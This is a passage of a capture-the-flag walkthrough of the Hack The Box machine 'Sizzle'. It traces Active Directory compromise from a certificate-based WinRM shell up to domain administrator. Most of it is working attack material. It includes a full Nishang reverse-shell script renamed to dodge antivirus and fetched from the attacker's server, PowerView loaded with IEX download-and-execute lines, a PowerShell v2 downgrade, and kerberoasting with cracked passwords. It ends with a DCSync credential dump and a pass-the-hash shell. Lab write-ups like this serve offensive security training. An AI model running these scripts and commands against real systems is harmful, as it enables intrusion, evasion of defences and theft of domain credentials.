Now we can utilize our new certificate, and key and WinRM into the machine, quick google lead me to this https://notes.offsec-journey.com/enumeration/winrm which essentially shows us how to authenticate to winrm on port 5986 (https) using a certificate so steps

  1. Make some modifications

require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new( 
  endpoint: 'https://sizzle:5986/wsman',
  transport: :ssl,
  :client_cert => 'certnew.cer',
  :client_key => 'amanda.key',
  :no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end

we now have a shell on the box

Now we will continue SMB just to finish our enumeration processes

for good measures lets perfrom a password spray attack and see if any other user shares the same password

crackmapexec smb -u usernames.txt -p 'Ashare1972'
  • No luck

Lets check out this CertEnroll share

smbclient //10.10.10.103/CertEnroll -U amanda

we can see we have the following files

  • Lets download the contents

ldap

Lets attempt to run bloodhound and see of we can pick up further information about system specifics

  • we will utilise the bloodhound-python

bloodhound-python -c all -d HTB.local -u amanda -p Ashare1972 -ns 10.10.10.103

lets open bloodhound and inspect the results

sudo neo4j console # login
sudo bloodhound --no-sandbox

Once we have bloodhound open its always good practice to mark what users we have owned

amandas

  • groups

    • USERS

    • DOMAIN USERS

    • REMOTE MANAGEMENT USERS

when we list all of the kerberoastable account we can see something interesting

  • this indicates kerberoast is on the machine, must be running internally possible, well keep this in mind

Does this MRLKY have any thing we can utilize

  • when we look at the users First Degree Object Control we can see the user MRLKY has the following rights to the Domain Controller

    • DCSync

    • GetChangesAll

    • GetChanges

  • Meaning if we can compromise the MRLKY Account we requests data from the domain controller (NTDS.dit which contains all the domain users hashes)

Looking at the reachable High Value Target we can see our user amanda can CanPSRemote to the SIZZLE.HTB.LOCAL computer, knowing we have a kerberoastable account MRLKY , we can possibly compromise the account and from here as the user MRLKY perform a DCsync attack and retreive the NTDS.dit file, from here

Lets perform a ldapdomindump for good measures and see if we can find anything else

ldapdomaindump -u 'HTB.LOCAL\amanda' -p 'Ashare1972' ldap://10.10.10.103
  • Nothing new

Priv esc via amanda

Now we have a PSRemote session on the target server, and we know of the kerberoastable user mrlky we can load in powerview and perform some kerberoasting

Lets load PowerView.ps1 onto the target

  1. start a python3 server python3 -m http.server 80

  2. Download the script and execute it IEX(iwr http://10.10.14.7/PowerView.ps1 -UseBasicParsing)

What interesting is that AV detected this, we also try and download the file without executing it and we get a permission denied

We can see the line

  • Cannot create type. Only core types are supported in this language mode.Meaning we have limited functionality in PowerShell

  • ScriptContainedMaliciousContent meaning we have AV upon us

We can check our current language mode in session

  • $ExecutionContext.SessionState.LanguageMode

Lets handle one thing at a time, current objective

  1. we need to bypass our current language mode

  2. we ned to bypass the AV and execute PowerView.ps1

Bypassing Our current language mode

Plan A

Lets upload a nishang reverse shell and see if we can establish another shell without the language constraints

  1. once we have moved the Invoke-PowerShellTcp.ps1 into our current working directory we want to modify it slightly just to bypass any AV that may pick it up

function shrek123 
{ 
<#

#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}
shrek123 -Reverse -IPAddress 10.10.14.7 -Port 9001
  • Notice we have deleted any comments and change the function name hopefully this is a basic AV and we can execute this under the radar

  1. Lets set up a nc listner rlwrap -cAr nc -lvnp 9001

  2. set up a python server for our target to download it from python3 -m http.server 80

  3. Lets use wget and see if we can download the file onto the target

wget http://10.10.14.7/shell.ps1 -OutFile shell9898.ps1 

Now lets utilise powershell version 2 and run our nishang script

powershell -Version 2 -ExecutionPolicy Bypass -Command "& { .\shell9898.ps1 }"

if we look back at our nc listner we can see we succesfuly gained a reverseshell to the system with FullLanguage

In our new shell Lets set our self's up for a kerberoasting attack

Lets continue to enumerate the system as amanda and see if there is anything else that could help us

lets see if we can find any text files from the C:\ Directory

Get-ChildItem -Path . -Filter *.txt -Recurse -ErrorAction SilentlyContinue | Where-Object { -not $_.PSIsContainer -and $_.FullName }
  • Looking through the output we can see something interesting

within the C:\Windows\System32 directory we find the following

file.txt holds the hashes for the users within the system

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178:::

Domain    User  ID  Hash
------    ----  --  ----
HTB.LOCAL Guest 501 -   
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrb3n:1105:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
  • Dont know if this is suppose to be here

  • But lets try and crack them anyway

Lets clean the hashes

hashcat -m 1000 users_hashes.txt /usr/share/wordlists/rockyou.txt

we find the password for mrlky: Football#7

well keep these in find but there has to be another way of priv esc

Lets continue from our new shell as amanda

we can confirm mrlky is vulnerable to kerberoasting by querying the SPNs registered in the AD by

setspn -T HTB.LOCAL -Q */*

we will utilize PowerView.ps1 to perform the kerberoasting attack

  1. First lets load in the PowerView.ps1 script

IEX(New-Object Net.Webclient).downloadString('http://10.10.14.7/PowerView.ps1')
  1. Now lets create a PSCredential Object$Cred using amanda's credentials

# create a secure string holding the password
$Password = ConverTo-SecureString 'Ashare1972' -AsPlainText -Force
# create a PSCredential Object
$Cred = New-Object System.Management.Automation.PSCredential('HTB.LOCAL\amanda', $Password)
  1. Now that we have a PScredential Object created we can use amanda's credentials to communicate with the kerberose service and perform the attack, we can use the

    Invoke-Kerberoast -Credential $Cred -Verbose | fl

We know have mrlky ticket lets crack this

Couple of quick tips since we are using vim as our text editor we want to remove all whitespaces and new lines we can do this by

once we have copied and past the hash

  1. :%s/\s+//g

  2. :%s/\n//g

Now we can crack the ticket hash

hashcat -m 13100 mrklky_hash.txt /usr/share/wordlists/rockyou.txt

And we have the credentials mrlky: Football#7

Since we now have these new set of credentials we can repreat the same process we did with the amanda account and create a certificate

Now we can modifiy our winrm script again but with mrlky key and new cert

require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new( 
  endpoint: 'https://10.10.10.103:5986/wsman',
  transport: :ssl,
  :client_cert => 'certnew.cer',
  :client_key => 'mrlky.key',
  :no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end

we get a shell as the user mrlky

Since we already know Our current user has DCSynce to the Domain controller we can simply run secretsdump.py from our local host

sudo /opt/impacket-0.9.19/examples/secretsdump.py -just-dc mrlky:Football#7@10.10.10.103

worked perfect

Now we can test the administration hash with smb crackmapexec

crackmapexec smb 10.10.10.103 -u administrator -H f6b7160bfc91823792e0ac3a162c9267

Now we can utilize wmiexec.py and gain shell on the system

sudo /opt/impacket-0.9.19/examples/wmiexec.py -hashes :f6b7160bfc91823792e0ac3a162c9267 administrator@10.10.10.103

Now we have a shell as administrator on the target machine

Last updated